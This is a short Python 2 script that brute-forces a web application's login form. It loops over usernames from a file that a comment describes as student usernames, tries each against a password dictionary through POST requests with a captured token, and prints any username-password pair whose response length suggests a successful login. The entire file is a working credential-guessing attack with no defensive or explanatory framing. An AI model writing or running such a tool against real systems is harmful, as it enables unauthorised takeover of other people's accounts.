# -*- coding: latin-1 -*-
import urllib2
import urllib
import httplib
import cookielib
import threading
import sys
def openfile(path):
fp=open(path)
files = []
for password in fp.readlines():
files.append(password.replace('\n',''))
fp.close()
return files
def sendinfo(username,password):
try:
data = urllib.urlencode({"username":username,"password":password,"submit":"%E7%99%BB%E5%BD%95","token":"9139c24b"})#token值抓包,估计会变
headers = {"Content-type": "application/x-www-form-urlencoded"
, "Accept": "text/plain"}
httpClient = httplib.HTTPConnection("localhost.com", 80, timeout=30)
httpClient.request("POST", "/web/index.php?c=user&a=login&", data, headers)
response = httpClient.getresponse()
if len(response.read()) > 3700:
print "<mi> "+username+":"+password+"<ma>"
except Exception,e:
print e
finally:
if httpClient:
httpClient.close()
def check(username,passwords):
for password in passwords:
sys.stdout.write("Username: %s PassWord: %s \r" % (username,password))
sys.stdout.flush()
sendinfo(username,password)
if __name__ == '__main__':
passwords=openfile("pass.dic")#字典
username = openfile("username.txt")#学生用户名
threads = []
for user in username:
threads.append(threading.Thread(target=check,args=(user,passwords)))
for t in threads:
t.start()
t.join()
print "all is over"
